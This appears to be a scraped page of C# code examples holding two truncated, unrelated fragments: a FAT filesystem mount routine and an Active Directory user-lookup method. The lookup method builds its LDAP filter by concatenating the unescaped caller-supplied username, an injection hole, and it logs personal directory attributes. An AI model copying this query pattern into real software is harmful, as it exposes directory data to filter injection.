                @namespace = "ecs";
            }

            switch (@namespace.ToLowerInvariant())
            {
            case "dos":
                this.@namespace = Namespace.Dos;
                break;

            case "nt":
                this.@namespace = Namespace.Nt;
                break;

            case "os2":
                this.@namespace = Namespace.Os2;
                break;

            case "ecs":
                this.@namespace = Namespace.Ecs;
                break;

            case "lfn":
                this.@namespace = Namespace.Lfn;
                break;

            case "human":
                this.@namespace = Namespace.Human;
                break;

            default: return(Errno.InvalidArgument);
            }

            DicConsole.DebugWriteLine("FAT plugin", "Reading BPB");

            uint sectorsPerBpb = imagePlugin.Info.SectorSize < 512 ? 512 / imagePlugin.Info.SectorSize : 1;

            byte[] bpbSector = imagePlugin.ReadSectors(0 + partition.Start, sectorsPerBpb);

            BpbKind bpbKind = DetectBpbKind(bpbSector, imagePlugin, partition,
                                            out BiosParameterBlockEbpb fakeBpb,
                                            out HumanParameterBlock humanBpb, out AtariParameterBlock atariBpb,
                                            out byte minBootNearJump, out bool andosOemCorrect,
                                            out bool bootable);

            fat12              = false;
            fat16              = false;
            fat32              = false;
            useFirstFat        = true;
            XmlFsType.Bootable = bootable;

            statfs = new FileSystemInfo
            {
                Blocks         = XmlFsType.Clusters,
                FilenameLength = 11,
                Files          = 0, // Requires traversing all directories
                FreeFiles      = 0,
                PluginId       = Id,
                FreeBlocks     = 0 // Requires traversing the FAT
            };

            // This is needed because for FAT16, GEMDOS increases bytes per sector count instead of using big_sectors field.
            uint sectorsPerRealSector = 1;
            // This is needed because some OSes don't put volume label as first entry in the root directory
            uint sectorsForRootDirectory = 0;
            uint rootDirectoryCluster    = 0;

            switch (bpbKind)
            {
            case BpbKind.DecRainbow:
            case BpbKind.Hardcoded:
            case BpbKind.Msx:
            case BpbKind.Apricot:
                fat12 = true;
                break;

            case BpbKind.ShortFat32:
            case BpbKind.LongFat32:
            {
                fat32 = true;
                Fat32ParameterBlock fat32Bpb =
                    Marshal.ByteArrayToStructureLittleEndian <Fat32ParameterBlock>(bpbSector);
                Fat32ParameterBlockShort shortFat32Bpb =
                    Marshal.ByteArrayToStructureLittleEndian <Fat32ParameterBlockShort>(bpbSector);

                rootDirectoryCluster = fat32Bpb.root_cluster;

                // This is to support FAT partitions on hybrid ISO/USB images
                if (imagePlugin.Info.XmlMediaType == XmlMediaType.OpticalDisc)
                {
                    fat32Bpb.bps       *= 4;
                    fat32Bpb.spc       /= 4;
                    fat32Bpb.big_spfat /= 4;
                    fat32Bpb.hsectors  /= 4;
                    fat32Bpb.sptrk     /= 4;
                }

                XmlFsType.Type = fat32Bpb.version != 0 ? "FAT+" : "FAT32";

                if (fat32Bpb.oem_name != null && (fat32Bpb.oem_name[5] != 0x49 || fat32Bpb.oem_name[6] != 0x48 ||
                                                  fat32Bpb.oem_name[7] != 0x43))
                {
                    XmlFsType.SystemIdentifier = StringHandlers.CToString(fat32Bpb.oem_name);
                }

                sectorsPerCluster     = fat32Bpb.spc;
                XmlFsType.ClusterSize = (uint)(fat32Bpb.bps * fat32Bpb.spc);
                reservedSectors       = fat32Bpb.rsectors;
                if (fat32Bpb.big_sectors == 0 && fat32Bpb.signature == 0x28)
                {
                    XmlFsType.Clusters = shortFat32Bpb.huge_sectors / shortFat32Bpb.spc;
                }
                else
                {
                    XmlFsType.Clusters = fat32Bpb.big_sectors / fat32Bpb.spc;
                }

                sectorsPerFat          = fat32Bpb.big_spfat;
                XmlFsType.VolumeSerial = $"{fat32Bpb.serial_no:X8}";
                statfs.Id = new FileSystemId {
                    IsInt = true, Serial32 = fat32Bpb.serial_no
                };

                if ((fat32Bpb.flags & 0xF8) == 0x00)
                {
                    if ((fat32Bpb.flags & 0x01) == 0x01)
                    {
                        XmlFsType.Dirty = true;
                    }
                }

                if ((fat32Bpb.mirror_flags & 0x80) == 0x80)
                {
                    useFirstFat = (fat32Bpb.mirror_flags & 0xF) != 1;
                }

                if (fat32Bpb.signature == 0x29)
                {
                    XmlFsType.VolumeName = Encoding.ASCII.GetString(fat32Bpb.volume_label);
                }

                // Check that jumps to a correct boot code position and has boot signature set.
                // This will mean that the volume will boot, even if just to say "this is not bootable change disk"......
                XmlFsType.Bootable =
                    fat32Bpb.jump[0] == 0xEB && fat32Bpb.jump[1] >= minBootNearJump && fat32Bpb.jump[1] < 0x80 ||
                    fat32Bpb.jump[0] == 0xE9 && fat32Bpb.jump.Length >= 3 &&
                    BitConverter.ToUInt16(fat32Bpb.jump, 1) >= minBootNearJump &&
                    BitConverter.ToUInt16(fat32Bpb.jump, 1) <= 0x1FC;

                sectorsPerRealSector = fat32Bpb.bps / imagePlugin.Info.SectorSize;
                sectorsPerCluster   *= sectorsPerRealSector;

                // First root directory sector
                firstClusterSector =
                    (ulong)(fat32Bpb.big_spfat * fat32Bpb.fats_no + fat32Bpb.rsectors) * sectorsPerRealSector -
                    2 * sectorsPerCluster;

                if (fat32Bpb.fsinfo_sector + partition.Start <= partition.End)
                {
                    byte[]       fsinfoSector = imagePlugin.ReadSector(fat32Bpb.fsinfo_sector + partition.Start);
                    FsInfoSector fsInfo       =
                        Marshal.ByteArrayToStructureLittleEndian <FsInfoSector>(fsinfoSector);

                    if (fsInfo.signature1 == FSINFO_SIGNATURE1 && fsInfo.signature2 == FSINFO_SIGNATURE2 &&
                        fsInfo.signature3 == FSINFO_SIGNATURE3)
                    {
                        if (fsInfo.free_clusters < 0xFFFFFFFF)
                        {
                            XmlFsType.FreeClusters          = fsInfo.free_clusters;
                            XmlFsType.FreeClustersSpecified = true;
                        }
                    }
                }

                break;
            }

            // Some fields could overflow fake BPB, those will be handled below
            case BpbKind.Atari:
            {
                ushort sum = 0;
                for (int i = 0; i < bpbSector.Length; i += 2)
                {
                    sum += BigEndianBitConverter.ToUInt16(bpbSector, i);
                }

                // TODO: Check this
                if (sum == 0x1234)
                {
                    XmlFsType.Bootable = true;
                }

                break;
            }

            case BpbKind.Human:
                // If not debug set Human68k namespace and ShiftJIS codepage as defaults
                if (!debug)
                {
                    this.@namespace = Namespace.Human;
                    encoding        = Encoding.GetEncoding("shift_jis");
                }

                XmlFsType.Bootable = true;
                break;
            }

            Encoding = encoding ?? (bpbKind == BpbKind.Human
                                        ? Encoding.GetEncoding("shift_jis")
                                        : Encoding.GetEncoding("IBM437"));

            ulong firstRootSector = 0;

            if (!fat32)
            {
                // This is to support FAT partitions on hybrid ISO/USB images
                if (imagePlugin.Info.XmlMediaType == XmlMediaType.OpticalDisc)
                {
                    fakeBpb.bps      *= 4;
                    fakeBpb.spc      /= 4;
                    fakeBpb.spfat    /= 4;
                    fakeBpb.hsectors /= 4;
                    fakeBpb.sptrk    /= 4;
                    fakeBpb.rsectors /= 4;

                    if (fakeBpb.spc == 0)
                    {
                        fakeBpb.spc = 1;
                    }
                }

                // This assumes no sane implementation will violate cluster size rules
                // However nothing prevents this to happen
                // If first file on disk uses only one cluster there is absolutely no way to differentiate between FAT12 and FAT16,
                // so let's hope implementations use common sense?
                if (!fat12 && !fat16)
                {
                    ulong clusters;

                    if (fakeBpb.sectors == 0)
                    {
                        clusters = fakeBpb.spc == 0 ? fakeBpb.big_sectors : fakeBpb.big_sectors / fakeBpb.spc;
                    }
                    else
                    {
                        clusters = fakeBpb.spc == 0 ? fakeBpb.sectors : (ulong)fakeBpb.sectors / fakeBpb.spc;
                    }

                    if (clusters < 4089)
                    {
                        fat12 = true;
                    }
                    else
                    {
                        fat16 = true;
                    }
                }

                if (fat12)
                {
                    XmlFsType.Type = "FAT12";
                }
                else if (fat16)
                {
                    XmlFsType.Type = "FAT16";
                }

                if (bpbKind == BpbKind.Atari)
                {
                    if (atariBpb.serial_no[0] != 0x49 || atariBpb.serial_no[1] != 0x48 || atariBpb.serial_no[2] != 0x43)
                    {
                        XmlFsType.VolumeSerial =
                            $"{atariBpb.serial_no[0]:X2}{atariBpb.serial_no[1]:X2}{atariBpb.serial_no[2]:X2}";
                        statfs.Id = new FileSystemId
                        {
                            IsInt    = true,
                            Serial32 = (uint)((atariBpb.serial_no[0] << 16) + (atariBpb.serial_no[1] << 8) +
                                              atariBpb.serial_no[2])
                        };
                    }

                    XmlFsType.SystemIdentifier = StringHandlers.CToString(atariBpb.oem_name);
                    if (string.IsNullOrEmpty(XmlFsType.SystemIdentifier))
                    {
                        XmlFsType.SystemIdentifier = null;
                    }
                }
                else if (fakeBpb.oem_name != null)
                {
                    if (fakeBpb.oem_name[5] != 0x49 || fakeBpb.oem_name[6] != 0x48 || fakeBpb.oem_name[7] != 0x43)
                    {
                        // Later versions of Windows create a DOS 3 BPB without OEM name on 8 sectors/track floppies
                        // OEM ID should be ASCII, otherwise ignore it
                        if (fakeBpb.oem_name[0] >= 0x20 && fakeBpb.oem_name[0] <= 0x7F && fakeBpb.oem_name[1] >= 0x20 &&
                            fakeBpb.oem_name[1] <= 0x7F && fakeBpb.oem_name[2] >= 0x20 && fakeBpb.oem_name[2] <= 0x7F &&
                            fakeBpb.oem_name[3] >= 0x20 && fakeBpb.oem_name[3] <= 0x7F && fakeBpb.oem_name[4] >= 0x20 &&
                            fakeBpb.oem_name[4] <= 0x7F && fakeBpb.oem_name[5] >= 0x20 && fakeBpb.oem_name[5] <= 0x7F &&
                            fakeBpb.oem_name[6] >= 0x20 && fakeBpb.oem_name[6] <= 0x7F && fakeBpb.oem_name[7] >= 0x20 &&
                            fakeBpb.oem_name[7] <= 0x7F)
                        {
                            XmlFsType.SystemIdentifier = StringHandlers.CToString(fakeBpb.oem_name);
                        }
                        else if (fakeBpb.oem_name[0] < 0x20 && fakeBpb.oem_name[1] >= 0x20 &&
                                 fakeBpb.oem_name[1] <= 0x7F && fakeBpb.oem_name[2] >= 0x20 &&
                                 fakeBpb.oem_name[2] <= 0x7F && fakeBpb.oem_name[3] >= 0x20 &&
                                 fakeBpb.oem_name[3] <= 0x7F && fakeBpb.oem_name[4] >= 0x20 &&
                                 fakeBpb.oem_name[4] <= 0x7F && fakeBpb.oem_name[5] >= 0x20 &&
                                 fakeBpb.oem_name[5] <= 0x7F && fakeBpb.oem_name[6] >= 0x20 &&
                                 fakeBpb.oem_name[6] <= 0x7F && fakeBpb.oem_name[7] >= 0x20 &&
                                 fakeBpb.oem_name[7] <= 0x7F)
                        {
                            XmlFsType.SystemIdentifier = StringHandlers.CToString(fakeBpb.oem_name, Encoding, start: 1);
                        }
                    }

                    if (fakeBpb.signature == 0x28 || fakeBpb.signature == 0x29)
                    {
                        XmlFsType.VolumeSerial = $"{fakeBpb.serial_no:X8}";
                        statfs.Id = new FileSystemId {
                            IsInt = true, Serial32 = fakeBpb.serial_no
                        };
                    }
                }

                if (bpbKind != BpbKind.Human)
                {
                    if (fakeBpb.sectors == 0)
                    {
                        XmlFsType.Clusters = fakeBpb.spc == 0 ? fakeBpb.big_sectors : fakeBpb.big_sectors / fakeBpb.spc;
                    }
                    else
                    {
                        XmlFsType.Clusters =
                            (ulong)(fakeBpb.spc == 0 ? fakeBpb.sectors : fakeBpb.sectors / fakeBpb.spc);
                    }
                }
                else
                {
                    XmlFsType.Clusters = humanBpb.clusters == 0 ? humanBpb.big_clusters : humanBpb.clusters;
                }

                sectorsPerCluster     = fakeBpb.spc;
                XmlFsType.ClusterSize = (uint)(fakeBpb.bps * fakeBpb.spc);
                reservedSectors       = fakeBpb.rsectors;
                sectorsPerFat         = fakeBpb.spfat;

                if (fakeBpb.signature == 0x28 || fakeBpb.signature == 0x29 || andosOemCorrect)
                {
                    if ((fakeBpb.flags & 0xF8) == 0x00)
                    {
                        if ((fakeBpb.flags & 0x01) == 0x01)
                        {
                            XmlFsType.Dirty = true;
                        }
                    }

                    if (fakeBpb.signature == 0x29 || andosOemCorrect)
                    {
                        XmlFsType.VolumeName = Encoding.ASCII.GetString(fakeBpb.volume_label);
                    }
                }

                // Workaround that PCExchange jumps into "FAT16   "...
                if (XmlFsType.SystemIdentifier == "PCX 2.0 ")
                {
                    fakeBpb.jump[1] += 8;
                }

                // Check that jumps to a correct boot code position and has boot signature set.
                // This will mean that the volume will boot, even if just to say "this is not bootable change disk"......
                if (XmlFsType.Bootable == false && fakeBpb.jump != null)
                {
                    XmlFsType.Bootable |=
                        fakeBpb.jump[0] == 0xEB && fakeBpb.jump[1] >= minBootNearJump && fakeBpb.jump[1] < 0x80 ||
                        fakeBpb.jump[0] == 0xE9 && fakeBpb.jump.Length >= 3 &&
                        BitConverter.ToUInt16(fakeBpb.jump, 1) >= minBootNearJump &&
                        BitConverter.ToUInt16(fakeBpb.jump, 1) <= 0x1FC;
                }

                // First root directory sector
                firstRootSector = (ulong)(fakeBpb.spfat * fakeBpb.fats_no + fakeBpb.rsectors) * sectorsPerRealSector +
                                  partition.Start;
                sectorsForRootDirectory = (uint)(fakeBpb.root_ent * 32 / imagePlugin.Info.SectorSize);

                sectorsPerRealSector = fakeBpb.bps / imagePlugin.Info.SectorSize;
                sectorsPerCluster   *= sectorsPerRealSector;
            }

            firstClusterSector += partition.Start;

            image = imagePlugin;

            if (fat32)
            {
                fatEntriesPerSector = imagePlugin.Info.SectorSize / 4;
            }
            else if (fat16)
            {
                fatEntriesPerSector = imagePlugin.Info.SectorSize / 2;
            }
            else
            {
                fatEntriesPerSector = imagePlugin.Info.SectorSize * 2 / 3;
            }
            fatFirstSector = partition.Start + reservedSectors * sectorsPerRealSector;

            rootDirectoryCache = new Dictionary <string, CompleteDirectoryEntry>();
            byte[] rootDirectory = null;

            if (!fat32)
            {
                firstClusterSector = firstRootSector + sectorsForRootDirectory - sectorsPerCluster * 2;
                rootDirectory      = imagePlugin.ReadSectors(firstRootSector, sectorsForRootDirectory);

                if (bpbKind == BpbKind.DecRainbow)
                {
                    MemoryStream rootMs = new MemoryStream();
                    foreach (byte[] tmp in from ulong rootSector in new[] { 0x17, 0x19, 0x1B, 0x1D, 0x1E, 0x20 }
                             select imagePlugin.ReadSector(rootSector))
                    {
                        rootMs.Write(tmp, 0, tmp.Length);
                    }

                    rootDirectory = rootMs.ToArray();
                }
            }
            else
            {
                if (rootDirectoryCluster == 0)
                {
                    return(Errno.InvalidArgument);
                }

                MemoryStream rootMs = new MemoryStream();
                uint[]       rootDirectoryClusters = GetClusters(rootDirectoryCluster);

                foreach (uint cluster in rootDirectoryClusters)
                {
                    byte[] buffer =
                        imagePlugin.ReadSectors(firstClusterSector + cluster * sectorsPerCluster, sectorsPerCluster);

                    rootMs.Write(buffer, 0, buffer.Length);
                }

                rootDirectory = rootMs.ToArray();

                // OS/2 FAT32.IFS uses LFN instead of .LONGNAME
                if (this.@namespace == Namespace.Os2)
                {
                    this.@namespace = Namespace.Os2;
                }
            }

            if (rootDirectory is null)
            {
                return(Errno.InvalidArgument);
            }

            byte[] lastLfnName     = null;
            byte   lastLfnChecksum = 0;

            for (int i = 0; i < rootDirectory.Length; i += Marshal.SizeOf <DirectoryEntry>())
            {
                DirectoryEntry entry =
                    Marshal.ByteArrayToStructureLittleEndian <DirectoryEntry>(rootDirectory, i,
                                                                              Marshal.SizeOf <DirectoryEntry>());

                if (entry.filename[0] == DIRENT_FINISHED)
                {
                    break;
                }

                if (entry.attributes.HasFlag(FatAttributes.LFN))
                {
                    if (this.@namespace != Namespace.Lfn && this.@namespace != Namespace.Ecs)
                    {
                        continue;
                    }

                    LfnEntry lfnEntry =
                        Marshal.ByteArrayToStructureLittleEndian <LfnEntry>(rootDirectory, i,
                                                                            Marshal.SizeOf <LfnEntry>());

                    int lfnSequence = lfnEntry.sequence & LFN_MASK;

                    if ((lfnEntry.sequence & LFN_ERASED) > 0)
                    {
                        continue;
                    }

                    if ((lfnEntry.sequence & LFN_LAST) > 0)
                    {
                        lastLfnName     = new byte[lfnSequence * 26];
                        lastLfnChecksum = lfnEntry.checksum;
                    }

                    if (lastLfnName is null)
                    {
                        continue;
                    }
                    if (lfnEntry.checksum != lastLfnChecksum)
                    {
                        continue;
                    }

                    lfnSequence--;

                    Array.Copy(lfnEntry.name1, 0, lastLfnName, lfnSequence * 26, 10);
                    Array.Copy(lfnEntry.name2, 0, lastLfnName, lfnSequence * 26 + 10, 12);
                    Array.Copy(lfnEntry.name3, 0, lastLfnName, lfnSequence * 26 + 22, 4);

                    continue;
                }

                // Not a correct entry
                if (entry.filename[0] < DIRENT_MIN && entry.filename[0] != DIRENT_E5)
                {
                    continue;
                }

                // Self
                if (Encoding.GetString(entry.filename).TrimEnd() == ".")
                {
                    continue;
                }

                // Parent
                if (Encoding.GetString(entry.filename).TrimEnd() == "..")
                {
                    continue;
                }

                // Deleted
                if (entry.filename[0] == DIRENT_DELETED)
                {
                    continue;
                }

                string filename;

                if (entry.attributes.HasFlag(FatAttributes.VolumeLabel))
                {
                    byte[] fullname = new byte[11];
                    Array.Copy(entry.filename, 0, fullname, 0, 8);
                    Array.Copy(entry.extension, 0, fullname, 8, 3);
                    string volname = Encoding.GetString(fullname).Trim();
                    if (!string.IsNullOrEmpty(volname))
                    {
                        XmlFsType.VolumeName =
                            entry.caseinfo.HasFlag(CaseInfo.AllLowerCase) && this.@namespace == Namespace.Nt
                                ? volname.ToLower()
                                : volname;
                    }

                    if (entry.ctime > 0 && entry.cdate > 0)
                    {
                        XmlFsType.CreationDate = DateHandlers.DosToDateTime(entry.cdate, entry.ctime);
                        if (entry.ctime_ms > 0)
                        {
                            XmlFsType.CreationDate = XmlFsType.CreationDate.AddMilliseconds(entry.ctime_ms * 10);
                        }
                        XmlFsType.CreationDateSpecified = true;
                    }

                    if (entry.mtime > 0 && entry.mdate > 0)
                    {
                        XmlFsType.ModificationDate          = DateHandlers.DosToDateTime(entry.mdate, entry.mtime);
                        XmlFsType.ModificationDateSpecified = true;
                    }

                    continue;
                }

                CompleteDirectoryEntry completeEntry = new CompleteDirectoryEntry {
                    Dirent = entry
                };

                if ((this.@namespace == Namespace.Lfn || this.@namespace == Namespace.Ecs) && lastLfnName != null)
                {
                    byte calculatedLfnChecksum = LfnChecksum(entry.filename, entry.extension);

                    if (calculatedLfnChecksum == lastLfnChecksum)
                    {
                        filename = StringHandlers.CToString(lastLfnName, Encoding.Unicode, true);

                        completeEntry.Lfn = filename;
                        lastLfnName       = null;
                        lastLfnChecksum   = 0;
                    }
                }

                if (entry.filename[0] == DIRENT_E5)
                {
                    entry.filename[0] = DIRENT_DELETED;
                }

                string name      = Encoding.GetString(entry.filename).TrimEnd();
                string extension = Encoding.GetString(entry.extension).TrimEnd();

                if (this.@namespace == Namespace.Nt)
                {
                    if (entry.caseinfo.HasFlag(CaseInfo.LowerCaseExtension))
                    {
                        extension = extension.ToLower(CultureInfo.CurrentCulture);
                    }

                    if (entry.caseinfo.HasFlag(CaseInfo.LowerCaseBasename))
                    {
                        name = name.ToLower(CultureInfo.CurrentCulture);
                    }
                }

                if (extension != "")
                {
                    filename = name + "." + extension;
                }
                else
                {
                    filename = name;
                }

                completeEntry.Shortname = filename;

                if (this.@namespace == Namespace.Human)
                {
                    HumanDirectoryEntry humanEntry =
                        Marshal.ByteArrayToStructureLittleEndian <HumanDirectoryEntry>(rootDirectory, i,
                                                                                       Marshal
                                                                                       .SizeOf <HumanDirectoryEntry
                                                                                                >());

                    completeEntry.HumanDirent = humanEntry;

                    name      = StringHandlers.CToString(humanEntry.name1, Encoding).TrimEnd();
                    extension = StringHandlers.CToString(humanEntry.extension, Encoding).TrimEnd();
                    string name2 = StringHandlers.CToString(humanEntry.name2, Encoding).TrimEnd();

                    if (extension != "")
                    {
                        filename = name + name2 + "." + extension;
                    }
                    else
                    {
                        filename = name + name2;
                    }

                    completeEntry.HumanName = filename;
                }

                if (!fat32 && filename == "EA DATA. SF")
                {
                    eaDirEntry      = entry;
                    lastLfnName     = null;
                    lastLfnChecksum = 0;

                    if (debug)
                    {
                        rootDirectoryCache[completeEntry.ToString()] = completeEntry;
                    }

                    continue;
                }

                rootDirectoryCache[completeEntry.ToString()] = completeEntry;
                lastLfnName     = null;
                lastLfnChecksum = 0;
            }

            XmlFsType.VolumeName = XmlFsType.VolumeName?.Trim();
            statfs.Blocks        = XmlFsType.Clusters;

            switch (bpbKind)
            {
            case BpbKind.Hardcoded:
                statfs.Type = $"Microsoft FAT{(fat16 ? "16" : "12")}";
                break;

            case BpbKind.Atari:
                statfs.Type = $"Atari FAT{(fat16 ? "16" : "12")}";
                break;

            case BpbKind.Msx:
                statfs.Type = $"MSX FAT{(fat16 ? "16" : "12")}";
                break;

            case BpbKind.Dos2:
            case BpbKind.Dos3:
            case BpbKind.Dos32:
            case BpbKind.Dos33:
            case BpbKind.ShortExtended:
            case BpbKind.Extended:
                statfs.Type = $"Microsoft FAT{(fat16 ? "16" : "12")}";
                break;

            case BpbKind.ShortFat32:
            case BpbKind.LongFat32:
                statfs.Type = XmlFsType.Type == "FAT+" ? "FAT+" : "Microsoft FAT32";
                break;

            case BpbKind.Andos:
                statfs.Type = $"ANDOS FAT{(fat16 ? "16" : "12")}";
                break;

            case BpbKind.Apricot:
                statfs.Type = $"Apricot FAT{(fat16 ? "16" : "12")}";
                break;

            case BpbKind.DecRainbow:
                statfs.Type = $"DEC FAT{(fat16 ? "16" : "12")}";
                break;

            case BpbKind.Human:
                statfs.Type = $"Human68k FAT{(fat16 ? "16" : "12")}";
                break;

            default: throw new ArgumentOutOfRangeException();
            }

            bytesPerCluster = sectorsPerCluster * imagePlugin.Info.SectorSize;

            if (fat12)
            {
                byte[] fatBytes =
                    imagePlugin.ReadSectors(fatFirstSector + (useFirstFat ? 0 : sectorsPerFat), sectorsPerFat);

                fatEntries = new ushort[statfs.Blocks];

                int pos = 0;
                for (int i = 0; i + 3 < fatBytes.Length && pos < fatEntries.Length; i += 3)
                {
                    fatEntries[pos++] = (ushort)(((fatBytes[i + 1] & 0xF) << 8) + fatBytes[i + 0]);
                    fatEntries[pos++] = (ushort)(((fatBytes[i + 1] & 0xF0) >> 4) + (fatBytes[i + 2] << 4));
                }
            }
            else if (fat16)
            {
                DicConsole.DebugWriteLine("FAT plugin", "Reading FAT16");

                byte[] fatBytes =
                    imagePlugin.ReadSectors(fatFirstSector + (useFirstFat ? 0 : sectorsPerFat), sectorsPerFat);

                DicConsole.DebugWriteLine("FAT plugin", "Casting FAT");
                fatEntries = MemoryMarshal.Cast <byte, ushort>(fatBytes).ToArray();
            }

            // TODO: Check how this affects international filenames
            cultureInfo    = new CultureInfo("en-US", false);
            directoryCache = new Dictionary <string, Dictionary <string, CompleteDirectoryEntry> >();

            // Check it is really an OS/2 EA file
            if (eaDirEntry.start_cluster != 0)
            {
                CacheEaData();
                ushort eamagic = BitConverter.ToUInt16(cachedEaData, 0);

                if (eamagic != EADATA_MAGIC)
                {
                    eaDirEntry   = new DirectoryEntry();
                    cachedEaData = null;
                }
                else
                {
                    eaCache = new Dictionary <string, Dictionary <string, byte[]> >();
                }
            }
            else if (fat32)
            {
                eaCache = new Dictionary <string, Dictionary <string, byte[]> >();
            }

            // Check OS/2 .LONGNAME
            if (eaCache != null && (this.@namespace == Namespace.Os2 || this.@namespace == Namespace.Ecs))
            {
                List <KeyValuePair <string, CompleteDirectoryEntry> > rootFilesWithEas =
                    rootDirectoryCache.Where(t => t.Value.Dirent.ea_handle != 0).ToList();

                foreach (KeyValuePair <string, CompleteDirectoryEntry> fileWithEa in rootFilesWithEas)
                {
                    Dictionary <string, byte[]> eas = GetEas(fileWithEa.Value.Dirent.ea_handle);

                    if (eas is null)
                    {
                        continue;
                    }

                    if (!eas.TryGetValue("com.microsoft.os2.longname", out byte[] longnameEa))
Ejemplo n.º 41
0
        public Person GetPerson(string selectedUser)
        {
            Person                      userInfo             = new Person();
            DirectoryEntry              ldapConnection       = createDirectoryEntry();
            DirectorySearcher           ldap_searcher        = new DirectorySearcher(ldapConnection);
            WindowsIdentity             winId                = (WindowsIdentity)HttpContext.Current.User.Identity;
            WindowsImpersonationContext impersonationContext = null;
            PrincipalContext            principalCtx         = createPrincipalCtx();
            UserPrincipal               userGroupToFind      = UserPrincipal.FindByIdentity(principalCtx, selectedUser);

            try
            {
                impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                ldap_searcher.Filter = "(&(sAMAccountName=" + selectedUser + "*)(samAccountType=805306368))";
                //properties to get
                ldap_searcher.PropertiesToLoad.Clear();
                ldap_searcher.PropertiesToLoad.Add("sAMAccountName");
                ldap_searcher.PropertiesToLoad.Add("title");
                ldap_searcher.PropertiesToLoad.Add("cn");
                ldap_searcher.PropertiesToLoad.Add("department");
                ldap_searcher.PropertiesToLoad.Add("manager");
                ldap_searcher.PropertiesToLoad.Add("telephoneNumber");
                ldap_searcher.PropertiesToLoad.Add("thumbnailPhoto");
                ldap_searcher.PropertiesToLoad.Add("distinguishedName");
                ldap_searcher.PropertiesToLoad.Add("mail");
                ldap_searcher.PropertiesToLoad.Add("givenName");
                ldap_searcher.PropertiesToLoad.Add("sn");
                ldap_searcher.PropertiesToLoad.Add("displayName");
                ldap_searcher.PropertiesToLoad.Add("physicalDeliveryOfficeName");
                ldap_searcher.PropertiesToLoad.Add("DirectReports");
                ldap_searcher.PropertiesToLoad.Add("memberOf");
                //create search collection
                SearchResult l_result = ldap_searcher.FindOne();

                if (l_result != null)
                {
                    using (DirectoryEntry employeeEntryToGet = l_result.GetDirectoryEntry())
                    {
                        //get sAMAccountName
                        if (employeeEntryToGet.Properties.Contains("sAMAccountName") && employeeEntryToGet.Properties["sAMAccountName"] != null)
                        {
                            userInfo.SAMAccountName = employeeEntryToGet.Properties["sAMAccountName"][0].ToString();
                            impersonationContext.Undo();
                            log.Info("" + winId.Name + " is retreiving information for: " + userInfo.SAMAccountName + "");
                            impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        }
                        else
                        {
                            userInfo.SAMAccountName = "";
                        }
                        //get Full Name
                        if (employeeEntryToGet.Properties.Contains("cn") && employeeEntryToGet.Properties["cn"] != null)
                        {
                            userInfo.FullName = employeeEntryToGet.Properties["cn"][0].ToString();
                            impersonationContext.Undo();
                            log.Info("" + winId.Name + " is retreiving property cn for: " + userInfo.SAMAccountName + ": " + userInfo.FullName + "");
                            impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        }
                        else
                        {
                            userInfo.FullName = "";
                        }
                        //get First Name
                        if (employeeEntryToGet.Properties.Contains("givenName") && employeeEntryToGet.Properties["givenName"] != null)
                        {
                            userInfo.FirstName = employeeEntryToGet.Properties["givenName"][0].ToString();
                            impersonationContext.Undo();
                            log.Info("" + winId.Name + " is retreiving property givenName for: " + userInfo.SAMAccountName + ": " + userInfo.FirstName + "");
                            impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        }
                        else
                        {
                            userInfo.FirstName = "";
                        }
                        //get Last Name
                        if (employeeEntryToGet.Properties.Contains("sn") && employeeEntryToGet.Properties["sn"] != null)
                        {
                            userInfo.LastName = employeeEntryToGet.Properties["sn"][0].ToString();
                            impersonationContext.Undo();
                            log.Info("" + winId.Name + " is retreiving property sn for: " + userInfo.SAMAccountName + ": " + userInfo.LastName + "");
                            impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        }
                        else
                        {
                            userInfo.LastName = "";
                        }
                        //get displayName
                        if (employeeEntryToGet.Properties.Contains("displayName") && employeeEntryToGet.Properties["displayName"] != null)
                        {
                            userInfo.DisplayName = employeeEntryToGet.Properties["displayName"][0].ToString();
                            impersonationContext.Undo();
                            log.Info("" + winId.Name + " is retreiving property displayName for: " + userInfo.SAMAccountName + ": " + userInfo.DisplayName + "");
                            impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        }
                        else
                        {
                            userInfo.DisplayName = "";
                        }

                        //get Title
                        if (employeeEntryToGet.Properties.Contains("title") && employeeEntryToGet.Properties["title"] != null)
                        {
                            userInfo.Title = employeeEntryToGet.Properties["title"][0].ToString();
                            impersonationContext.Undo();
                            log.Info("" + winId.Name + " is retreiving property title for: " + userInfo.SAMAccountName + ": " + userInfo.Title + "");
                            impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        }
                        else
                        {
                            userInfo.Title = "";
                        }
                        //get Phone Number
                        if (employeeEntryToGet.Properties.Contains("telephoneNumber") && employeeEntryToGet.Properties["telephoneNumber"] != null)
                        {
                            userInfo.Telephone = employeeEntryToGet.Properties["telephoneNumber"][0].ToString();
                            impersonationContext.Undo();
                            log.Info("" + winId.Name + " is retreiving property telephoneNumber for: " + userInfo.SAMAccountName + ": " + userInfo.Telephone + "");
                            impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        }
                        else
                        {
                            userInfo.Telephone = "";
                        }
                        //get Departament
                        if (employeeEntryToGet.Properties.Contains("department") && employeeEntryToGet.Properties["department"] != null)
                        {
                            userInfo.Department = employeeEntryToGet.Properties["department"][0].ToString();
                            impersonationContext.Undo();
                            log.Info("" + winId.Name + " is retreiving property department for: " + userInfo.SAMAccountName + ": " + userInfo.Department + "");
                            impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        }
                        else
                        {
                            userInfo.Department = "";
                        }
                        //get Email
                        if (employeeEntryToGet.Properties.Contains("mail") && employeeEntryToGet.Properties["mail"] != null)
                        {
                            userInfo.EmailAddress = employeeEntryToGet.Properties["mail"][0].ToString();
                            impersonationContext.Undo();
                            log.Info("" + winId.Name + " is retreiving property mail for: " + userInfo.SAMAccountName + ": " + userInfo.EmailAddress + "");
                            impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        }
                        else
                        {
                            userInfo.EmailAddress = "";
                        }
                        //get Office
                        if (employeeEntryToGet.Properties.Contains("physicalDeliveryOfficeName") && employeeEntryToGet.Properties["physicalDeliveryOfficeName"] != null)
                        {
                            userInfo.Office = employeeEntryToGet.Properties["physicalDeliveryOfficeName"][0].ToString();
                            impersonationContext.Undo();
                            log.Info("" + winId.Name + " is retreiving property physicalDeliveryOfficeName for: " + userInfo.SAMAccountName + ": " + userInfo.Office + "");
